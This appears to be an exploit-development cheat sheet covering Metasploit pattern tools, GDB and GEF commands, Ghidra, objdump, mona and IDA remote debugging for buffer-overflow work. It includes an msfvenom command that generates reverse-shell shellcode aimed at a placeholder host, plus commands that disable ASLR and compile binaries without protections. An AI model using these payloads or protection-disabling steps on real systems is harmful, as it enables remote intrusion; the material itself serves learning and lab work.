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Carlos Polop c4ab7fd59a arte
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Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Install

apt-get install gdb

Parameters

-q --> No show banner
-x <file> --> Auto-execute GDB instructions from here
-p <pid> --> Attach to process

Instructions

> disassemble main --> Disassemble the function
> disassemble 0x12345678
> set disassembly-flavor intel
> set follow-fork-mode child/parent --> Follow created process
> p system --> Find the address of the system function
> help
> quit

> br func --> Add breakpoint to function
> br *func+23
> br *0x12345678
> del NUM --> Delete that number of br
> watch EXPRESSION --> Break if the value changes

> run --> Execute
> start --> Start and break in main
> n/next --> Execute next instruction (no inside)
> s/step --> Execute next instruction
> c/continue --> Continue until next breakpoint

> set $eip = 0x12345678 --> Change value of $eip
> info functions --> Info abount functions
> info functions func --> Info of the funtion
> info registers --> Value of the registers
> bt --> Stack
> bt full --> Detailed stack

> print variable
> print 0x87654321 - 0x12345678 --> Caculate
> examine o/x/u/t/i/s dir_mem/reg/puntero --> Shows content in octal/hexa/10/bin/instruction/ascii

  • x/o 0xDir_hex
  • x/2x $eip --> 2Words from EIP
  • x/2x $eip -4 --> $eip - 4
  • x/8xb $eip --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
  • i r eip --> Value of $eip
  • x/w pointer --> Value of the pointer
  • x/s pointer --> String pointed by the pointer
  • x/xw &pointer --> Address where the pointer is located
  • x/i $eip —> Instructions of the EIP

GEF

checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
 rip = 0x400cd3; saved rip = 0x6261617762616176
 called by frame at 0x7fffffffddd8
 Arglist at 0x7fffffffdcf8, args: 
 Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
 Saved registers:
  rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Tricks

GDB same addresses

While debugging GDB will have slightly different addresses than the used by the binary when executed. You can make GDB have the same addresses by doing:

  • unset env LINES
  • unset env COLUMNS
  • set env _=<path> Put the absolute path to the binary
  • Exploit the binary using the same absolute route
  • PWD and OLDPWD must be the same when using GDB and when exploiting the binary

Backtrace to find functions called

When you have a statically linked binary all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to identify the flow that the binary follows to for example ask for user input.
You can easily identify this flow by running the binary with gdb until you are asked for input. Then, stop it with CTRL+C and use the bt (backtrace) command to see the functions called:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB server

gdbserver --multi 0.0.0.0:23947 (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)

Ghidra

Find stack offset

Ghidra is very useful to find the the offset for a buffer overflow thanks to the information about the position of the local variables.
For example, in the example below, a buffer flow in local_bc indicates that you need an offset of 0xbc. Moreover, if local_10 is a canary cookie it indicates that to overwrite it from local_bc there is an offset of 0xac.
Remember that the first 0x08 from where the RIP is saved belongs to the RBP.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compile without protections
-o --> Output
-g --> Save code (GDB will be able to see it)
echo 0 > /proc/sys/kernel/randomize_va_space --> To deactivate the ASLR in linux

To compile a shellcode:
nasm -f elf assembly.asm --> return a ".o"
ld assembly.o -o shellcodeout --> Executable

Objdump

-d --> Disassemble executable sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)
-Mintel --> Intel syntax
-t --> Symbols table
-D --> Disassemble all (address of static variable)
-s -j .dtors --> dtors section
-s -j .got --> got section
-D -s -j .plt --> plt section decompiled
-TR --> Relocations
ojdump -t --dynamic-relo ./exec | grep puts --> Address of "puts" to modify in GOT
objdump -D ./exec | grep "VAR_NAME" --> Address or a static variable (those are stored in DATA section).

Core dumps

  1. Run ulimit -c unlimited before starting my program
  2. Run sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
  3. sudo gdb --core=<path/core> --quiet

More

ldd executable | grep libc.so.6 --> Address (if ASLR, then this change every time)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Loop to see if the address changes a lot
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset of "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset of "/bin/sh"

strace executable --> Functions called by the executable
rabin2 -i ejecutable --> Address of all the functions

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugging in remote linux

Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary linux_server or linux_server64 inside the linux server and run it nside the folder that contains the binary:

./linux_server64 -Ppass

Then, configure the debugger: Debugger (linux remote) --> Proccess options...:

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